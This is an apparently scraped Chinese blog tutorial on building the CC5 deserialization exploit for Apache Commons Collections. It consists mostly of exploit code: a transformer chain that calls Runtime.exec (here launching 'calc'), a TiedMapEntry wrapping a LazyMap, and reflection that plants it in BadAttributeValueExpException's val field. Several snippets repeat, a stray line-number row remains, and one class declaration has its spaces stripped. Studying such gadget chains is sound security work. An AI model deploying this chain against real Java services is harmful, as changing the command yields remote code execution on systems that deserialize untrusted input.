@Override public V get(final Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { @SuppressWarnings("unchecked") final K castKey = (K) key; final V value = factory.transform(castKey); map.put(castKey, value); return value; } return map.get(key); }
exp的编写
这里 LazyMap 的后面半条链子是可以用的,我们直接把 CC1 那一部分的拿进来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Class<?> c = Class.forName("javax.management.BadAttributeValueExpException"); Field valField = c.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,TideMapvalue);
publicclassCC5Test{ publicstaticvoidmain(String[] args)throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TiedMapEntry TideMapvalue = new TiedMapEntry(decorateLazyMap, "value");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Class<?> c = Class.forName("javax.management.BadAttributeValueExpException"); Field valField = c.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,TideMapvalue);